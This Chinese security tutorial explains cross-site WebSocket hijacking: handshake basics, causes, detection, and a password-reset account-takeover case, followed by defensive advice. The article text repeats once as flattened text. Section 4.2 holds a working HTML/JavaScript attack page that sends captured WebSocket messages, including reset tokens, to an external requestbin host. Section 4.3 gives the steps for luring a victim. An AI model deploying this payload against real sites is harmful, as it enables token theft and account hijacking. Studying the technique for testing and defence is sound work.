挖洞经验 | 利用跨站WebSocket劫持(CSWH)实现账户劫持
字数 1423 2025-08-18 11:38:22

跨站WebSocket劫持(CSWH)漏洞分析与利用指南

1. WebSocket技术基础

1.1 WebSocket协议概述

  • 协议特性:HTML5推出的新协议,与HTTP协议独立但基于HTTP进行握手
  • 持久化连接:与HTTP的非持久连接不同,WebSocket提供持久化连接
  • 全双工通信:类似TCP连接,支持双向实时通信
  • 协议切换:从http://https://切换到ws://wss://

1.2 WebSocket握手过程

请求示例

GET ws://echo.websocket.org/?encoding=text HTTP/1.1
Host: echo.websocket.org
Connection: Upgrade
Upgrade: websocket
Origin: http://www.websocket.org
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ==

响应示例

HTTP/1.1 101 Web Socket Protocol Handshake
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: wW9Bl95VtfJDbpHdfivy7csOaDo=

关键点:

  • Connection: UpgradeUpgrade: websocket指示协议切换
  • 服务器返回101状态码表示协议切换成功

2. 跨站WebSocket劫持(CSWH)漏洞原理

2.1 漏洞成因

  • 缺乏同源策略:WebSocket协议没有规范Origin必须相同
  • 无CORS限制:跨域资源共享(CORS)机制不适用于WebSocket协议
  • 认证缺失:协议未规定握手阶段如何认证客户端身份

2.2 攻击场景

攻击者可以伪造握手请求绕过身份认证,建立与目标服务器的WebSocket连接,从而:

  1. 窃取通过WebSocket传输的敏感数据
  2. 执行未经授权的操作
  3. 结合其他功能(如密码重置)实现账户劫持

3. CSWH漏洞检测方法

3.1 手动检测步骤

  1. 在浏览器中打开目标Web应用页面
  2. 访问WebSocket测试页面(http://websocket.org/echo.html)
  3. 在测试页面的Location处输入目标WebSocket URL(如wss://website.com)
  4. 点击"Connect"尝试建立连接
  5. 使用BurpSuite抓取WebSocket数据包
  6. 修改Origin头重放请求,观察服务器响应

3.2 自动化检测工具

  • 跨站点WebSocket劫持漏洞检测网站:http://ironwasp.org/cswsh.html

4. CSWH漏洞利用实战:账户劫持

4.1 漏洞发现过程

  1. 建立WebSocket连接后,发现响应中包含_forgotPasswordId参数
  2. 访问密码重置功能页面时,WebSocket响应中出现了密码重置token

4.2 攻击Payload构造

<!DOCTYPE html>
<meta charset="utf-8" />
<title>Testing</title>
<script language="javascript" type="text/javascript">
var wsUri = "wss://host.com";
var output;

function init() {
    output = document.getElementById("output");
    testWebSocket();
}

function testWebSocket() {
    websocket = new WebSocket(wsUri);
    websocket.onopen = function(evt) { onOpen(evt) };
    websocket.onclose = function(evt) { onClose(evt) };
    websocket.onmessage = function(evt) { onMessage(evt) };
    websocket.onerror = function(evt) { onError(evt) };
}

function onOpen(evt) {
    writeToScreen("CONNECTED");
    doSend('websocket frame');
}

function onClose(evt) {
    writeToScreen("DISCONNECTED");
}

function onMessage(evt) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://requestbin.fullcontact.com/1143n2w1", true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
    xhr.send(evt.data);
    websocket.close();
}

function onError(evt) {
    writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}

function doSend(message) {
    writeToScreen("SENT: " + message);
    websocket.send(message);
}

function writeToScreen(message) {
    var pre = document.createElement("p");
    pre.style.wordWrap = "break-word";
    pre.innerHTML = message;
    output.appendChild(pre);
}

window.addEventListener("load", init, false);
</script>
<h2>WebSocket Test</h2>
<div id="output"></div>

4.3 攻击步骤

  1. 将目标应用的正常密码重置请求页面发送给受害者
  2. 在攻击者网站托管上述CSWH.html,并将链接发送给受害者
  3. 受害者点击两个链接后,攻击者通过监听获取密码重置token
  4. 利用token伪造密码重置请求,完成账户劫持

5. 防御措施

5.1 服务器端防护

  1. 验证Origin头:检查WebSocket连接的Origin是否在白名单内
  2. 使用CSRF Token:在WebSocket握手请求中要求携带CSRF Token
  3. 会话验证:确保WebSocket连接与已验证的会话相关联

5.2 客户端防护

  1. 避免敏感操作:尽量避免通过WebSocket执行敏感操作
  2. 二次验证:对于敏感操作要求额外的身份验证

6. 总结

跨站WebSocket劫持(CSWH)是一种严重的安全漏洞,攻击者可以利用它绕过身份验证,窃取敏感数据或执行未授权操作。本文详细介绍了WebSocket技术原理、CSWH漏洞成因、检测方法和实际利用案例,并提供了有效的防御措施。开发人员应充分了解这些风险,在实现WebSocket功能时采取适当的安全措施。

跨站WebSocket劫持(CSWH)漏洞分析与利用指南 1. WebSocket技术基础 1.1 WebSocket协议概述 协议特性 :HTML5推出的新协议,与HTTP协议独立但基于HTTP进行握手 持久化连接 :与HTTP的非持久连接不同,WebSocket提供持久化连接 全双工通信 :类似TCP连接,支持双向实时通信 协议切换 :从 http:// 或 https:// 切换到 ws:// 或 wss:// 1.2 WebSocket握手过程 请求示例 : 响应示例 : 关键点: Connection: Upgrade 和 Upgrade: websocket 指示协议切换 服务器返回101状态码表示协议切换成功 2. 跨站WebSocket劫持(CSWH)漏洞原理 2.1 漏洞成因 缺乏同源策略 :WebSocket协议没有规范Origin必须相同 无CORS限制 :跨域资源共享(CORS)机制不适用于WebSocket协议 认证缺失 :协议未规定握手阶段如何认证客户端身份 2.2 攻击场景 攻击者可以伪造握手请求绕过身份认证,建立与目标服务器的WebSocket连接,从而: 窃取通过WebSocket传输的敏感数据 执行未经授权的操作 结合其他功能(如密码重置)实现账户劫持 3. CSWH漏洞检测方法 3.1 手动检测步骤 在浏览器中打开目标Web应用页面 访问WebSocket测试页面(http://websocket.org/echo.html) 在测试页面的Location处输入目标WebSocket URL(如wss://website.com) 点击"Connect"尝试建立连接 使用BurpSuite抓取WebSocket数据包 修改Origin头重放请求,观察服务器响应 3.2 自动化检测工具 跨站点WebSocket劫持漏洞检测网站:http://ironwasp.org/cswsh.html 4. CSWH漏洞利用实战:账户劫持 4.1 漏洞发现过程 建立WebSocket连接后,发现响应中包含 _forgotPasswordId 参数 访问密码重置功能页面时,WebSocket响应中出现了密码重置token 4.2 攻击Payload构造 4.3 攻击步骤 将目标应用的正常密码重置请求页面发送给受害者 在攻击者网站托管上述CSWH.html,并将链接发送给受害者 受害者点击两个链接后,攻击者通过监听获取密码重置token 利用token伪造密码重置请求,完成账户劫持 5. 防御措施 5.1 服务器端防护 验证Origin头 :检查WebSocket连接的Origin是否在白名单内 使用CSRF Token :在WebSocket握手请求中要求携带CSRF Token 会话验证 :确保WebSocket连接与已验证的会话相关联 5.2 客户端防护 避免敏感操作 :尽量避免通过WebSocket执行敏感操作 二次验证 :对于敏感操作要求额外的身份验证 6. 总结 跨站WebSocket劫持(CSWH)是一种严重的安全漏洞,攻击者可以利用它绕过身份验证,窃取敏感数据或执行未授权操作。本文详细介绍了WebSocket技术原理、CSWH漏洞成因、检测方法和实际利用案例,并提供了有效的防御措施。开发人员应充分了解这些风险,在实现WebSocket功能时采取适当的安全措施。